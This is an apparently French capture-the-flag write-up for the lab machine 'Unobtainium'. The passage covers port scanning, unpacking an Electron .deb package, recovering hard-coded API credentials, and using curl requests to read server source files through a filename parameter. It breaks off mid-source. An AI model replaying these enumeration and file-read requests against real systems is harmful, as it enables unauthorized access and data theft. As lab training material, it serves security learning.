Writeup - Unobatainium - FR
🔭 Découverte
Pour débuter notre exploration, lançons un scan réseau complet en utilisant nmap (lien vers l’outil : Nmap: the Network Mapper - Free Security Scanner) avec plusieurs options pour maximiser la collecte d'informations. Voici la commande: nmap -sC -sV -p- 10.129.136.226 -Pn -T5
, voici un court descriptif des arguments:
sC
: Cette option active l'exécution de scripts par défaut. Nmap possède une large bibliothèque de scripts qui permettent de réaliser des tâches d'enumeration supplémentaires et de détecter des vulnérabilités spécifiques. Cela aide à collecter plus d'informations sur les services détectés.sV
: Elle permet d'activer la détection de version des services. Nmap essaie de déterminer quelles versions des services tournent sur les ports ouverts.p-
: Cette option indique à Nmap de scanner tous les 65535 ports TCP d'une machine. Par défaut, Nmap ne scanne que les 1000 ports les plus courants.Pn
: Cette option indique à Nmap de ne pas effectuer de détection d’hôte. Nmap ne tente pas de déterminer si la cible est en ligne avant de lancer le scan. C'est utile lorsque la cible utilise des règles de filtrage ICMP pour masquer sa présence, mais dans notre cas on sait pertinemment que la machine est là.T5
: Cette option ajuste le timing du scan à "Insane" (le niveau le plus rapide). Cela accélère l'exécution du scan mais peut augmenter la charge sur le réseau et la machine cible, et risque de rendre le scan moins discret et plus susceptible de manquer des informations. Dans notre cas cela fera l’affaire.
nmap -sC -sV -p- 10.129.136.226 -Pn -T5
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-26 10:17 BST
Warning: 10.129.136.226 giving up on port because retransmission cap hit (2).
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 26.95% done; ETC: 10:21 (0:02:59 remaining)
Nmap scan report for 10.129.136.226
Host is up (0.066s latency).
Not shown: 64360 closed tcp ports (conn-refused), 1169 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: c0446765-f79c-4c1d-bfc4-37a92197971c
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 26 Apr 2024 09:22:10 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 1b0874a2-544e-4179-b8fc-97726e88cda4
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 26 Apr 2024 09:22:07 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: f1dbfe26-e629-46fe-962f-2d98766c1ef2
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 26 Apr 2024 09:22:10 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-10-26T13:35:54
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2025-04-26T09:06:41
10251/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Fri, 26 Apr 2024 09:22:27 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Fri, 26 Apr 2024 09:22:01 GMT
| Content-Length: 19
|_ page not found
31337/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_ Potentially risky methods: PUT DELETE
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=4/26%Time=662B7237%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x201b
SF:0874a2-544e-4179-b8fc-97726e88cda4\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2026\x20Ap
SF:r\x202024\x2009:22:07\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x20f1dbfe26-e629-46fe-962f-2d98766c1ef2\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Fri,\x2026\
SF:x20Apr\x202024\x2009:22:10\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20c0446765-f79c-4c1d-bfc4-37a92197971c\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Fri,\x2026\x20Apr\x202024\x2009:22:10\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.93%I=7%D=4/26%Time=662B7231%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x202
SF:6\x20Apr\x202024\x2009:22:01\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Fri,\x2026\x20Apr\x202024\x2009:22:01\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(F
SF:ourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x2026\x20Apr\
SF:x202024\x2009:22:27\x20GMT\r\nContent-Length:\x2019\r\n\r\n404\x20page\
SF:x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.29 seconds
Pour synthétiser les résultats du scan nmap, voici un tableau récapitulatif :
Port | État | Service | Version | Informations supplémentaires |
---|---|---|---|---|
22/tcp | Open | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux) | Clés SSH : RSA, ECDSA, ED25519 |
80/tcp | Open | HTTP | Apache httpd 2.4.41 (Ubuntu) | Titre HTTP : Unobtainium; En-tête du serveur : Apache 2.4.41 (Ubuntu) |
8443/tcp | Open | SSL/HTTPS-alt | - | Cela ressemble drôlement à une API Kubernetes |
10250/tcp | Open | SSL/HTTP | Golang net/http server (Go-IPFS json-rpc or InfluxDB API) | Certificat SSL pour 'unobtainium' et 'localhost'. Pas de titre HTTP, contenus en texte brut. |
10251/tcp | Open | Unknown | - | Réponses à diverses requêtes, principalement des erreurs 404 Not Found et 400 Bad Request avec des contenus en texte brut. |
31337/tcp | Open | HTTP | Node.js Express framework | Pas de titre HTTP; Méthodes HTTP potentiellement risquées : PUT, DELETE. Contenus en JSON. |
Pour faire simple, cette machine utilisent les technologies suivantes:
- Kubernetes (?)
- Apache httpd
- OpenSSh
- Node.js (express)
Dans le résultat de la commande nmap on peut constater la présence d’un domaine que nous ne connaissons pas: unobtainium
:
| SubjectAlternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
Ajoutons le à notre fichier /etc/hosts
pour la résolution du domaine:
┌─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads]
└──╼ $sudo vi /etc/hosts
┌─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads]
└──╼ $tail -n1 /etc/hosts
10.129.136.226 unobtainium unobtainium.htb
Passons à l’inspection de l’application web qui est disponible sur le port 80. Commençons par utiliser feroxbuster
(lien vers l’outil: https://github.com/epi052/feroxbuster) qui va nous permettre de fuzz le contenu de l’application web.
feroxbuster -u http://10.129.136.226 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt --silent
u http://10.129.136.226
: Cet argument spécifie l'URL de base queferoxbuster
va utiliser pour le fuzzing. C'est le point de départ où l'outil commence à tester pour découvrir des ressources cachées ou non référencées directement.w /opt/useful/SecLists/Discovery/Web-Content/big.txt
: Cet argument prend le chemin d'un fichier qui contient une liste de mots (paths, noms de fichiers, etc.) à tester contre l'URL de base spécifiée. Dans ce cas,big.txt
est utilisé, qui est une liste complète de chemins potentiels pour le fuzzing. Ce fichier est souvent utilisé pour découvrir des fichiers et des répertoires cachés sur le serveur web. Voici un lien vers le repo GitHub SecLists (ps: il vaut vraiment de détour https://github.com/danielmiessler/SecLists)-silent
: Cet argument indique àferoxbuster
de supprimer la plupart des sorties en console, à l'exception des résultats des chemins découverts. C'est utile pour réduire le bruit lors de l'exécution et se concentrer uniquement sur les données pertinentes.
feroxbuster -u http://10.129.136.226 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt --silent
http://10.129.136.226/assets => http://10.129.136.226/assets/
http://10.129.136.226/assets/js/main.js
http://10.129.136.226/assets/js/util.js
http://10.129.136.226/downloads/unobtainium_snap.zip
http://10.129.136.226/downloads/checksums.txt
http://10.129.136.226/downloads => http://10.129.136.226/downloads/
http://10.129.136.226/images => http://10.129.136.226/images/
http://10.129.136.226/downloads/unobtainium_redhat.zip
http://10.129.136.226/downloads/unobtainium_debian.zip
http://10.129.136.226/
Cela nous donne une idée de ce que l'on va trouver sur cette application, il semblerait que nous puissions télécharger des fichiers, vérifions cela.
En se rendant sur http://<ip-de-la-machine>/
à l’aide de notre navigateur web préféré nous tombons sur la page suivante :
Il semblerait que nous pouvons y télécharger plusieurs packages dans les formats suivants:
.deb
.rpm
- .
snap
Vérifions le téléchargement:
wget http://10.129.136.226/downloads/unobtainium_dbian.zip
unzip -l unobtainium_debian.zip
Archive: unobtainium_debian.zip
Length Date Time Name
--------- ---------- ----- ----
54849036 2021-01-19 06:16 unobtainium_1.0.0_amd64.deb
62 2021-03-24 10:22 unobtainium_1.0.0_amd64.deb.md5sum
--------- -------
curl -sS -m2 http://10.129.136.226/downloads/checksums.txt
c9fe8a2bbc66290405803c3d4a37cf28 unobtainium_1.0.0_amd64.deb
d61b48f165dab41af14c49232975f6a1 unobtainium_1.0.0_amd64.snap
9e35724c18f9f98192f0412c89ba54c7 unobtainium-1.0.0.x86_64.rpm
On peut effectivement les télécharger. Inspectons le contenu de ce package. Pour cela on va utiliser la commande ar x
pour extraire le contenu du fichier unobtainium_1.0.0_amd64.deb
(voir le man de ar
: ar(1) - Linux man page (die.net)).
$ ls
unobtainium_1.0.0_amd64.deb unobtainium_1.0.0_amd64.deb.md5sum unobtainium_debian.zip
$ ar x unobtainium_1.0.0_amd64.deb
$ ls
control.tar.gz debian-binary unobtainium_1.0.0_amd64.deb.md5sum
data.tar.xz unobtainium_1.0.0_amd64.deb unobtainium_debian.zip
$ tar -xvf *.tar.*
./
./postinst
./postrm
./control
./data
./md5sums
$ rm *.tar.xz *.deb* *.z
$ ls
control data md5sums postrm debian-binary postinst
$ tree
.
├── control
├── data
├── debian-binary
├── md5sums
├── postinst
└── postrm
1 directories, 5 files
Super nous avons de quoi faire, nous allons commencer par inspecter le fichier control
cat control
Package: unobtainium
Version: 1.0.0
License: ISC
Vendor: felamos <felamos@unobtainium.htb>
Architecture: amd64
Maintainer: felamos <felamos@unobtainium.htb>
Installed-Size: 185617
Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
Section: default
Priority: extra
Homepage: http://unobtainium.htb
Description:
clie
- Package : Nom du paquet.
- Version : Indique la version du paquet, ici
1.0.0
. - License : Type de licence sous laquelle le logiciel est distribué, ici
ISC
. - Vendor : Le vendeur ou l'entité qui fournit le paquet, identifié par
felamos@unobtainium.htb
. - Architecture : Type d'architecture sur laquelle le paquet fonctionnera, ici
amd64
. - Maintainer : Responsable de la maintenance du paquet, également
felamos
. - Installed-Size : Taille estimée une fois le paquet installé.
- Depends : Liste des dépendances requises pour que le logiciel fonctionne correctement.
- Homepage : Page d'accueil du projet ou du développeur, offrant souvent des informations supplémentaires sur le logiciel.
- Description : Description brève du logiciel, qui semble être tronquée dans l'extrait.
On aurait éventuellement un premier nom d’utilisateur : felamos
et on peut confirmer le domaine unobtainium.htb
.
Passons maintenant aux scripts postinst
et postrm
.
postinst
:
cat postinst
#!/bin/bash
# Link to the binary
ln -sf '/opt/unobtainium/unobtainium' '/usr/bin/unobtainium'
# SUID chrome-sandbox for Electron 5+
chmod 4755 '/opt/unobtainium/chrome-sandbox' || true
update-mime-database /usr/share/mime || true
update-desktop-database /usr/share/applications || true
Ce script est exécuté après l'installation du paquet. Il effectue plusieurs actions :
- Création d'un lien symbolique : Facilite l'exécution du programme
unobtainium
en le reliant à/usr/bin
, un répertoire standard pour les exécutables. - Configuration de permissions spéciales : Le script met en place le bit SUID (
chmod 4755
) surchrome-sandbox
. Ceci est crucial car cela permet au programme d'exécuter certaines opérations avec les privilèges du propriétaire du fichier, ici probablementroot
. Cette configuration peut présenter des risques de sécurité si elle est exploitée de manière malveillante. - Mise à jour des bases de données système : Les commandes
update-mime-database
etupdate-desktop-database
aident à intégrer le logiciel dans l'environnement de bureau, en s'assurant que les types de fichiers et les applications sont correctement reconnus et lancés.
postrm
:
cat postrm
#!/bin/bash
# Delete the link to the binary
rm -f '/usr/bin/unobtainium'
Exécuté après la désinstallation du paquet, ce script a pour principal but de nettoyer les modifications réalisées lors de l'installation :
- Suppression du lien symbolique : Assure qu'aucun résidu du programme n'est accessible via le chemin standard
/usr/bin
après la désinstallation.
Cela ne semble pas trop intéressant pour nous, passons au répertoire data.
data
:
$ cd data
$ tree -L 3
.
├── opt
│ └── unobtainium
│ ├── chrome_100_percent.pak
│ ├── chrome_200_percent.pak
│ ├── chrome-sandbox
│ ├── icudtl.dat
│ ├── libEGL.so
│ ├── libffmpeg.so
│ ├── libGLESv2.so
│ ├── libvk_swiftshader.so
│ ├── libvulkan.so
│ ├── LICENSE.electron.txt
│ ├── LICENSES.chromium.html
│ ├── locales
│ ├── resources
│ ├── resources.pak
│ ├── snapshot_blob.bin
│ ├── swiftshader
│ ├── unobtainium
│ ├── v8_context_snapshot.bin
│ └── vk_swiftshader_icd.json
└── usr
└── share
├── applications
├── doc
└── icons
10 directories, 17 files
/usr
: Je n’ai rien trouvé d’intéressant ici./opt
: Vu le nom des fichiers, il semblerait que nous ayons affaire à une applicationelectron
cette technologie permet de développer les applications cross-platform si cela vous intéresse voici la documentation: Build cross-platform desktop apps with JavaScript, HTML, and CSS | Electron (electronjs.org).
Creusons le répertoire opt
:
tree
.
├── chrome_100_percent.pak
├── chrome_200_percent.pak
├── chrome-sandbox
├── icudtl.dat
├── libEGL.so
├── libffmpeg.so
├── libGLESv2.so
├── libvk_swiftshader.so
├── libvulkan.so
├── LICENSE.electron.txt
├── LICENSES.chromium.html
├── locales
│ ├── am.pak
<SNIP>
│ └── zh-TW.pak
├── resources
│ └── app.asar
├── resources.pak
├── snapshot_blob.bin
├── swiftshader
│ ├── libEGL.so
│ └── libGLESv2.so
├── unobtainium
├── v8_context_snapshot.bin
└── vk_swiftshader_icd.json
3 directories, 72 files
- Fichiers de configuration et de runtime de Chromium :
chrome_100_percent.pak
,chrome_200_percent.pak
,icudtl.dat
,libEGL.so
,libffmpeg.so
,libGLESv2.so
,libvk_swiftshader.so
,libvulkan.so
: Ces fichiers sont typiquement utilisés par les applications Electron pour charger et exécuter des applications web comme des applications de bureau. Ils incluent des bibliothèques pour le rendu graphique et le traitement vidéo/audio.chrome-sandbox
: Un fichier exécutable utilisé par Electron pour exécuter des processus dans un environnement isolé (sandbox).
- Licences :
LICENSE.electron.txt
,LICENSES.chromium.html
: Fichiers de licence pour les composants Electron et Chromium utilisés dans l'application.
- Localisations :
- Dossier
locales
contenant des fichiers.pak
pour diverses localisations, permettant à l'application de supporter plusieurs langues.
- Dossier
- Ressources de l'Application :
resources/app.asar
: Un package archive contenant le code source et les ressources de l'application.resources.pak
,snapshot_blob.bin
,v8_context_snapshot.bin
: Fichiers de ressources et snapshots pour V8, le moteur JavaScript utilisé par Chromium et Electron.
- SwiftShader :
- Dossier
swiftshader
contenant des bibliothèques pour la rasterisation logicielle, utilisées lorsque l'accélération matérielle n'est pas disponible.
- Dossier
- Exécutable principal :
unobtainium
: L'exécutable principal de l'application.
On va donc se pencher sur le fichier resources/app.asar
. Commençons par vérifier les métadonnées de ce fichier :
$ file app.asar
app.asar: data
$ exiftool app.asar
ExifTool Version Number : 12.16
File Name : app.asar
Directory : .
File Size : 579 KiB
File Modification Date/Time : 2021:01:19 06:14:37+00:00
File Access Date/Time : 2024:04:26 11:29:57+01:00
File Inode Change Date/Time : 2024:04:26 11:25:48+01:00
File Permissions : rw-r--r--
Error : Unknown file type
Ok passons, essayons maintenant d’en extraire son contenu:
┌─[✗]─[htb-mp-757893☺htb-15thsl5jzi]─[~/Downloads/deb/data/opt/unobtainium/resources]
└──╼ $strings app.asar | head -n 15
{"files":{"index.js":{"size":503,"offset":"0"},"package.json":{"size":207,"offset":"503"},"src":{"files":{"get.html":{"size":3821,"offset":"710"},"index.html":{"size":3499,"offset":"4531"},"post.html":{"size":3858,"offset":"8030"},"todo.html":{"size":3799,"offset":"11888"},"js":{"files":{"Chart.min.js":{"size":173077,"offset":"15687"},"app.js":{"size":584,"offset":"188764"},"bootstrap.bundle.min.js":{"size":80821,"offset":"189348"},"check.js":{"size":431,"offset":"270169"},"dashboard.js":{"size":953,"offset":"270600"},"feather.min.js":{"size":75779,"offset":"271553"},"get.js":{"size":160,"offset":"347332"},"jquery.min.js":{"size":89476,"offset":"347492"},"todo.js":{"size":350,"offset":"436968"}}},"css":{"files":{"bootstrap.min.css":{"size":153111,"offset":"437318"},"dashboard.css":{"size":1573,"offset":"590429"}}}}}}}
const {app, BrowserWindow} = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
webPreferences: {
devTools: false
}
})
mainWindow.loadFile('src/index.html')
app.whenReady().then(() => {
createWindow()
app.on('activate', function () {
if (BrowserWindow.getAllWindows().length === 0) createWindow()
})
Après quelques recherches je suis tombé la dessus:
Asar is a simple extensive archive format, it works like tar that concatenates all files together without compression, while having random access support.
Utilisons l’outil asar
pour extraire tous les fichiers, vous trouverez la documentation de cet outil ici : source: https://github.com/electron/asar
npm exec asar e app.asar .
Need to install the following packages:
asar
Ok to proceed? (y) y
npm WARN deprecated asar@3.2.0: Please use @electron/asar moving forward. There is no API change, just a package name change
ls
app.asar index.js package.json src
Top, décortiquons cela à présent:
opt/unobtainium/resources/index.js
:
const {app, BrowserWindow} = require('electron')
const path = require('path')
function createWindow () {
const mainWindow = new BrowserWindow({
webPreferences: {
devTools: false
}
})
mainWindow.loadFile('src/index.html')
}
app.whenReady().then(() => {
createWindow()
app.on('activate', function () {
if (BrowserWindow.getAllWindows().length === 0) createWindow()
})
})
app.on('window-all-closed', function () {
if (process.platform !== 'darwin') app.quit()
})
Rien de particulier ici, on peut juste confirmer que nous avons une application electron
.
src/js/app.js
:
$(document).ready(function(){
$("#but_submit").click(function(){
var message = $("#message").val().trim();
$.ajax({
url: 'http://unobtainium.htb:31337/',
type: 'put',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
success: function(data) {
//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");
}
});
});
});
On avance ! On constate l'utilisation d'informations d'identification codées en dur (CWE-798, CWE - CWE-798: Use of Hard-coded Credentials (4.14) (mitre.org)), voici les identifiants: felamos:Winter2021
D’une manière générale ce code JavaScript utilise jQuery pour envoyer des données via AJAX lorsque l'utilisateur clique sur un bouton. Grâce à cela nous pouvons récupérer toutes les informations relatives aux endpoints d’API mentionnées dans ces fichiers.
Voici les informations relatives sur les endpoints que nous pouvons trouver:
METHOD | ENDPOINT | URL | SOURCE | POC |
---|---|---|---|---|
PUT | / | http://unobtainium.htb:31337/ | src/js/app.js | curl -m2 -sS -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": "message"}}' http://unobtainium.htb:31337/ |
{"ok":true} | ||||
HEAD | / | http://unobtainium.htb:31337/ | src/js/check.js | |
POST | /todo | http://unobtainium.htb:31337/ | src/js/todo.js | curl -m2 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' http://unobtainium.htb:31337/todo |
{ | ||||
"ok": true, | ||||
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\\n7. Improve security\n" | ||||
} |
Commencons par vérifier l’endpoint /todo
, pour cela on va utiliser curl avec les arguments suivants:
m 2
: spécifie le délai maximum (2 secondes) avant d'abandonner la connexion.sS
: supprime les messages de progression et affiche seulement les erreurs en cas de problème.X POST
: indique que la méthode HTTP à utiliser est POST.H "Content-Type: application/json"
: spécifie le type de contenu de la requête comme étant JSON.d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}'
: envoie des données au format JSON, comprenant un objet "auth" avec les champs "name" (nom d'utilisateur) et "password" (mot de passe), ainsi que le nom du fichier ("filename") à traiter.http://unobtainium.htb:31337/todo
: l'URL de destination où envoyer la requête POST.
curl -m2 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' [http://unobtainium.htb:31337/todo](http://unobtainium.htb:31337/todo) | jq
{
"ok": true,
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: [https://cloud.google.com/storage/docs/json_api/v1\\n7](https://cloud.google.com/storage/docs/json_api/v1%5C%5Cn7). Improve security\n"
}
Avec un peu de formatage on a les informations suivantes:
- Create administrator zone.
- Update node JS API Server.
- Add Login functionality.
- Complete Get Messages feature.
- Complete ToDo feature.
- Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1
- Improve security
Dans cette requête d’API on fournit un nom de fichier (ici todo.txt
), on peut essayer de passer d’autres noms de fichier avec des chemins relatifs ou absolues pour voir comment l’application réagit. On sait que nous avons affaire à une API node.js express, on peut tenter de récupérer le fichier index.js
qui est un fichier courant sur ce type d’application, voici le payload: {"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}
.
curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson
{
"ok": true,
"content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n return users.find((u) =>\n u.name === auth.name &&\n u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n res.send(messages);\n});\n\napp.put('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: 